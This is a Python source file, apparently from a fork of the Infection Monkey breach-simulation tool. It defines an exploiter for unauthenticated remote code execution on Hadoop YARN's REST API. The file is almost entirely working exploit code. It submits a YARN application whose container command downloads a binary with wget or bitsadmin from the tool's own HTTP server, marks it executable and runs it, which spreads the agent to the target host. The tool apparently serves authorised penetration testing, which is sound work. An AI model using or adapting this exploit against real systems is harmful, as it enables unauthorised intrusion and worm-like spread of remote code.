forked from p34709852/monkey
101 lines
3.8 KiB
Python
101 lines
3.8 KiB
Python
"""
|
|
Remote code execution on HADOOP server with YARN and default settings
|
|
Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
|
|
"""
|
|
|
|
import requests
|
|
import json
|
|
import random
|
|
import string
|
|
import logging
|
|
from exploit.web_rce import WebRCE
|
|
from tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
|
import posixpath
|
|
from model import MONKEY_ARG, ID_STRING
|
|
|
|
__author__ = 'VakarisZ'
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
|
class HadoopExploiter(WebRCE):
|
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
|
HADOOP_PORTS = [["8088", False]]
|
|
|
|
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
|
|
# to download monkey at the same time
|
|
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
|
"&& wget -O %(monkey_path)s %(http_path)s " \
|
|
"; chmod +x %(monkey_path)s " \
|
|
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
|
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
|
|
" Update /download /priority high %(http_path)s %(monkey_path)s " \
|
|
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
|
# How long we have our http server open for downloads in seconds
|
|
DOWNLOAD_TIMEOUT = 60
|
|
# Random string's length that's used for creating unique app name
|
|
RAN_STR_LEN = 6
|
|
|
|
def __init__(self, host):
|
|
super(HadoopExploiter, self).__init__(host)
|
|
|
|
def exploit_host(self):
|
|
# Try to get exploitable url
|
|
urls = self.build_potential_urls(self.HADOOP_PORTS)
|
|
self.add_vulnerable_urls(urls, True)
|
|
if not self.vulnerable_urls:
|
|
return False
|
|
paths = self.get_monkey_paths()
|
|
if not paths:
|
|
return False
|
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
|
|
command = self.build_command(paths['dest_path'], http_path)
|
|
if not self.exploit(self.vulnerable_urls[0], command):
|
|
return False
|
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
|
http_thread.stop()
|
|
return True
|
|
|
|
def exploit(self, url, command):
|
|
# Get the newly created application id
|
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
|
resp = json.loads(resp.content)
|
|
app_id = resp['application-id']
|
|
# Create a random name for our application in YARN
|
|
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
|
|
payload = self.build_payload(app_id, rand_name, command)
|
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
|
|
return resp.status_code == 202
|
|
|
|
def check_if_exploitable(self, url):
|
|
try:
|
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
|
except requests.ConnectionError:
|
|
return False
|
|
return resp.status_code == 200
|
|
|
|
def build_command(self, path, http_path):
|
|
# Build command to execute
|
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
|
if 'linux' in self.host.os['type']:
|
|
base_command = self.LINUX_COMMAND
|
|
else:
|
|
base_command = self.WINDOWS_COMMAND
|
|
|
|
return base_command % {"monkey_path": path, "http_path": http_path,
|
|
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
|
|
|
|
@staticmethod
|
|
def build_payload(app_id, name, command):
|
|
payload = {
|
|
"application-id": app_id,
|
|
"application-name": name,
|
|
"am-container-spec": {
|
|
"commands": {
|
|
"command": command,
|
|
}
|
|
},
|
|
"application-type": "YARN"
|
|
}
|
|
return payload
|